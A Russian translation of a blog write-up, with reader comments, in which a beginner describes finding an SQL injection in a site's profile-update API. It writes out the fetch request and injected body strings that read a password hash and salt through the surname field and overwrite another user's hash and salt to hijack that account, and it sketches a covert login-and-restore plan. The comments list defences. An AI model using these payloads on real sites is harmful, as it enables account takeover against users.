Недавно я нашёл интересную уязвимость, позволяющую установить любому пользователю конкретного сайта любой пароль. Круто, да?

Это было забавно, и я подумал, что можно написать интересную статью.

На неё вы и наткнулись.



Примечание: автор переведённой статьи не специалист по информационной безопасности, и это его первый экскурс в мир SQL-инъекций. Он просит быть «снисходительными к его наивности».

Предупреждение: автор переведённой статьи не станет раскрывать сайт с этой уязвимостью. Не потому, что он сообщил о ней владельцу и связан узами молчания, а потому что хочет приберечь уязвимость для себя. Если вы вычислите этот сайт, пожалуйста, держите рот на замке (цыц).

Знаете, вот так иногда открываешь какой-нибудь сайт в инструментарии для разработчика, исследуешь без какой-либо цели минифицированный код и сетевые запросы. И вдруг замечаешь, что-то здесь не так. Совсем не так. Вот и я занимался подобным со страницей пользовательского профиля на одном из сайтов и подметил, что, когда включаешь и выключаешь уведомления о получении, страница шлёт сетевой запрос:

/api/users?email=no

И я подумал: интересно, не допустили ли они какую-нибудь глупость? Может быть, мне попробовать SQL-инъекцию?

Я поискал в сети по запросу “xkcd little bobby tables”, чтобы освежить в памяти, как делать SQL-инъекции — мне они не нравятся, — и принялся за работу.

В сетевой вкладке Chrome я скопировал запрос (Copy > Copy as fetch) и вставил результат во фрагмент, чтобы можно было воспроизвести запрос:

fetch('https://blah.com/api/users', {
  credentials: 'include',
  headers: {
    authorization: 'Bearer blah',
    'content-type': 'application/x-www-form-urlencoded',
    'sec-fetch-mode': 'cors',
    'x-csrf-token': 'blah',
  },
  referrer: 'https://blah.com/blah',
  referrerPolicy: 'no-referrer-when-downgrade',
  body: 'email=no', // < -- The bit we're interested in
  method: 'POST',
  mode: 'cors',
});

Вся остальная статья посвящена возне со строкой body — она является транспортом для отправки инструкций серверу.

Сначала я попытался изменить свою фамилию, задав значение в колонке lastName, ориентируясь просто на её название:

{
  // ...
  body: `email=no', lastName='testing`
}

Ничего интересного не произошло. Затем я проделал то же самое с last_name, потом попытал счастья с surname — и опа! — страница заменила мою фамилию на “testing”.

Это было очень захватывающе. Я всегда считал SQL-инъекции чем-то вроде книжной легенды. Тем, что на самом деле не открывает миру код, который вставляет вводимые пользователем данные прямо в SQL-выражения.

Немного филососфии
В последнее время ко многим вопросам в своей жизни я подхожу с точки зрения закона Старджона: «90 % всего вокруг — дрянь». Я осознал, что если предполагаешь, будто всё делается правильно, то теряешь много возможностей. Думаю, что это новообретённое неверие в человечество придало мне достаточно уверенности, чтобы вообще заняться этим экспериментом.

Для всех непосвящённых объясню, что означает обнаруженный мной результат.
Я считаю, что на сервере происходит нечто подобное:

const userId = someSessionStore.userId;
const email = request.body.email;

const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;

Уверен, что их сервер написан на PHP, но я не владею этим языком, так что буду писать примеры на JavaScript. Кроме того, я не особо-то разбираюсь в SQL-запросах. Понятия не имею, называется ли таблица user, или users, или user_table, да это и не важно.

Если мой пользовательский ID 1234, и я отправляю email=no, тогда SQL получается таким:

UPDATE users SET email = 'no' WHERE id = '1234'

А если заменить no на строку no', surname = 'testing, тогда SQL будет валидным, но хитрым:

UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234'

Как вы помните, я отправляю запросы из фрагмента кода в инструментах для разработчика, при этом нахожусь на странице профиля. Так что с этого момента можно считать поле surname на этой странице (HTML-элемент <inрut>) маленьким stdout, в который можно записывать информацию, задавая для моего пользовательского аккаунта значение в колонке surname в базе данных.

Затем мне стало интересно, удастся ли скопировать данные из другой колонки в колонку surname?

Я не понимал, что делать, как быть с SQL, да к тому же не знал, какая БД используется на сервере. Так что после каждого шага я тратил минут по 20 на поиски в сети, а потом ещё 20 минут чесал в затылке, потому что регулярно вставлял свои кавычки ' не туда, куда нужно. Странно, что я не порушил всю базу данных.

Копировать данные из одной колонки в другую оказалось чуть сложнее, потому что я хотел отправить такой запрос (предполагалось, что должна быть колонка password):

UPDATE users SET email = 'no', surname = password WHERE id = '1234'

Обратите внимание, что в коде вокруг password нет кавычек. Как вы помните, суперсовременный конструктор запросов должен выглядеть так…

const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;

… то есть при попытке передать no', surname = password получившаяся строка не будет валидным SQL-запросом. Вместо этого мне нужно было, чтобы инъектируемая строка целиком стала второй частью запроса, а всё, что идёт после неё, игнорировалось бы. В частности, мне нужно было передать WHERE и; в конце SQL-выражения, а также комментарий #, чтобы информация справа от него игнорировалась. Да, я ужасно объясняю.

Короче, я отправил новую строку:

{
  // ...
  body: `email=no', surname = password WHERE username = 'me@email.com'; #`
}

А в базу данных будет отправлена такая строка:

UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com'; 
# WHERE id = '1234'

Обратите внимание, что БД проигнорирует WHERE id = '1234', поскольку эта часть идёт после комментария # (кажется, запрет на комментирование в SQL-запросах является хорошим способом защиты от неряшливого кода).

Я надеялся, что мой пароль P@ssword1 появится в текстовом виде в поле фамилии, но вместо этого я получил 00fcdde26dd77af7858a52e3913e6f3330a32b31.

Меня это разочаровало, хотя и не удивило, и я продолжил попытки скопировать хэш моего пароля в колонку пароля другого пользователя.

Поясню для новичков: когда где-то создаёшь аккаунт и отправляешь новый пароль P@ssword1, он превращается в хэш наподобие 00fcdde26dd77af7858a52e3913e6f3330a32b31 и сохраняется в базе данных. Глядя на этот хэш, никто не сможет определить ваш пароль (или так рассказывают).

Когда в следующий раз вы будете логиниться и вводить пароль Password@1, сервер его снова хэширует и сравнит с хэшем, который хранится в базе данных. Так он подтвердит соответствие, даже не сохраняя ваш пароль.

Это означает, что если я хочу задать кому-нибудь пароль P@ssword1, я должен задать в колонке password у этого пользователя значение 00fcdde26dd77af7858a52e3913e6f3330a32b31.

Легкотня.

Я открыл другой браузер, создал нового пользователя с другой почтой и в первую очередь проверил, могу ли задать ему данные. Обновил ему свойство body:

{
  // ...
  body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #`
}

Выполнил код, обновил страницу этого пользователя, и, офигеть, сработало! Теперь у него была фамилия “WOOT!!” (девичья фамилия моей бабушки).

Затем я попробовал задать этому пользователю пароль:

  // ...
  body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #`
}

И знаете, что?!?!?

Не сработало. Теперь у меня не было доступа ко второму аккаунту.
Оказалось, я допустил две ошибки, на вычисление которых ушло несколько часов. Специалисты по инфобезопасности, читающие эту статью, уже поняли, о чём речь, и, вероятно, ржут над дураком, который пишет свои «эксплойты», перечисленные на первой странице «Хакинг для самых маленьких».

Нуууууу, в конце концов я поискал в сети по запросу “password hash” и заметил, что многие хэши длиннее моего 00fcdde26dd77af7858a52e3913e6f3330a32b31. Похоже, он где-то обрезается.
Я попытался вписать кусок текста в поле surname, и обнаружил лимит в 40 символов (хорошо, что они задали атрибут maxlength для <inрut>, чтобы соответствовало ограничению в базе данных).

Теперь меня интересовали только первые 40 символов хэша, который мог быть гораздо длиннее. Поискал по запросу “sql substring”, и вскоре отправил на сервер такой запрос:

 
{
  // ...
  body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #`
}

Начал с 30, чтобы убедиться, что первые 10 символов перекрываются последними 10 символами 00fcdde26dd77af7858a52e3913e6f3330a32b31. Или последними 9. Или 11.

Лирическое отступление
Думаю, когда я умру и попаду в ад, меня заставят вечно смотреть в замедленной прокрутке все мои ошибки, одну за другой. Крупным планом показывая моё лицо, пока я раз за разом осознаю свою нескончаемую глупость.

Вернёмся к реалиям: символы перекрывались, и объединив строки, я получил хэш из 64 символов. Снова попробовал скопировать его во второго пользователя:

 {
  // ...
  body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #`
}

И знаете, что?!?!
Ну, вы уже догадались, ведь я упомянул про две ошибки.

Я по-прежнему не мог залогиниться во второй аккаунт, но уже был близок к этому (хорошо бы мне знать об этом в тот момент).

Поискал по запросу “best practices database password” и узнал/вспомнил о такой штуке, как «соль».

Применение соли означает, что если ты создаёшь хэш для P@ssword1 для одного пользователя, то для другого пользователя тот же пароль даст другой хэш (используется другая соль). Конечно же, один хэш пароля не будет работать для двух пользователей, соли-то разные.

Вроде бы умно, но в то же время глупо. Во всех примерах в таблице просто была ещё одна колонка под названием salt. Разве это не означает, что мне нужно скопировать данные из двух колонок, а не одной? Разве это не выглядит как второй замок, к которому подходит тот же ключ?

Я изменил запрос в надежде скопировать значение из колонки, которая может называться salt,
в колонку surname:

 {
  // ...
  body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #`
}

В поле фамилии оказался беспорядочный набор символов, хороший знак. Для получения того, что оказалось 64-символьной солью, я снова использовал SUBSTRING.

Всё было готово. У меня есть хэш пароля и соль, которая использовалась для его создания, нужно только скопировать их в другого пользователя. И я отправил свой последний в тот вечер сетевой запрос:

fetch('https://blah.com/api/users', {
  credentials: 'include',
  headers: {
    authorization: 'Bearer blah',
    'content-type': 'application/x-www-form-urlencoded',
    'sec-fetch-mode': 'cors',
    'x-csrf-token': 'blah',
  },
  referrer: 'https://blah.com/blah',
  referrerPolicy: 'no-referrer-when-downgrade',
  body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`,
  method: 'POST',
  mode: 'cors',
});

Сработало! Теперь я мог залогиниться во второй аккаунт с паролем от первого аккаунта.
Разве это не безумие?

* * *

Было много проб и ошибок, но когда я выберу настоящего пользователя, я сначала получу его соль и хэш и сохраню у себя. Затем заменю его подсоленный хэш на свой, как описано в статье, залогинюсь и моментально заменю соль и хэш на оригинальные значения. Мне нужно лишь на долю секунды изменить чужой пароль, пока я логинюсь, так что меня почти наверняка не обнаружат.

В теории, конечно. Я бы никогда так не сделал.

* * *

Возможно, вам интересно узнать, не выдуманная ли это история. Не выдуманная. Я изменил несколько мелких подробностей, чтобы защититься от обвинений, но всё остальное было так, как описано. И, конечно же, на самом деле я сообщил об уязвимости владельцам сайта.

Но я не могу не спрашивать себя, было ли это всего лишь удачей новичка. Это в буквальном смысле первый сайт, на котором я попробовал SQL-инъекцию, и всё было словно приготовлено для меня, словно я сдавал экзамен по хакингу для малышей.

Описанный мной сайт невелик, у него мало пользователей (34 718). Это платный сервис, так что для матёрых хакеров он не представляет интереса. И всё же меня поразило, что такое возможно.

Короче, теперь я подсел на всю эту тему с информационной безопасностью. Для меня в ней объединились два любимых занятия: написание кода и хулиганство. Так что погуглив “information security salaries Australia”, думаю, я нашёл себе новую работу.
Спасибо, что прочитали!

P.S.: перевод статьи старается максимально сохранить стилистику автора :)

Комментарии (15)


  1. NeverIn
    24.09.2019 17:50

    Дата оригинальной статьи 22 Sep, но не указано какого года )


    1. Stawros
      24.09.2019 18:04

      Исходники из статьи оригинала хостятся на гитхабе и там видно, что залиты они два дня назад, т.е. в 2019 году.


  1. emkh
    24.09.2019 19:57

    Здорово, было очень интересно прочитать


  1. Cerberuser
    25.09.2019 04:45

    Интересно, почему в исходном запросе параметры посылались прямо в строке запроса, а при Copy as fetch — в теле...


    1. barsoo4ok Автор
      25.09.2019 13:36

      Полагаю, описываемый автором метод API извлекает параметры по их имени из тела запроса или query string в зависимости от HTTP-метода и/или фактического наличия этих параметров в том или ином месте. И фронт приложения, соответственно, может использовать различные способы вызова этого метода в разных местах (где-то GET, где-то POST), просто такие детали автор решил не приводить.


      1. da411d
        26.09.2019 01:48

        Да, в PHP кроме $_GET и $_POST есть $_REQUEST, где есть и то и то


  1. equand
    25.09.2019 11:01
    -1

    Срань господня, это у кого напрямую SQL из get запросов используется?


    1. Egor3f
      25.09.2019 13:18

      И это при том, что хранить отдельные соли для каждого юзера они-таки догадались!


      1. equand
        25.09.2019 13:21

        Непонятно, какого они хранят соли и при этом при генерации хеша не используют другие данные дополнительно? Как например дата создания аккаунта уже бы сломала такую схему входа в аккаунт или еще дополнительные данные какие-либо, которые врядли бы изменялись в будущем


        1. CryptoPirate
          26.09.2019 09:48

          Дату создания таким способом можно будет тоже подменить на этом сайте.
          О добавление других полей в хеш нужно догадаться, да. Но если пароли/хеши пишут с использованием стандартных фреймворков, то методы из этого фреймворка известны.
          Другими словами: можете всегда считать что алгоритм обработки данных известен хакерам (принцип Керкгоффса).


      1. GrimMaple
        25.09.2019 16:11

        Может они просто фреймворк для генерации паролей использовали, не?)


    1. barsoo4ok Автор
      25.09.2019 13:29

      Вектор может обнаружиться в любом месте, где неочищенные данные извне используются уязвимым кодом и напрямую подставляются в SQL-запрос. Например куки, HTTP-заголовки, параметры в query string или в теле запроса — всё это потенциальные точки для инъекции.


  1. dmeatriy
    25.09.2019 17:39

    Валидация переменных в запросе. Если тебе в email приходит что-то непохожее на user@example.com — лесом.



    1. nsmcan
      26.09.2019 03:54

      Сколько раз уже я нарывался на кривые валидаторы, который отсекают правильные данные…

      Есть такой интересный документ: SQL_Injection_Prevention_Cheat_Sheet.md.
      Основные техники защиты оттуда:

      1. Подготовленные выражения (с параметрическими запросами)
      2. Хранимые процедуры
      3. Проверка ввода по белому списку
      4. Экранирование всего пользовательского ввода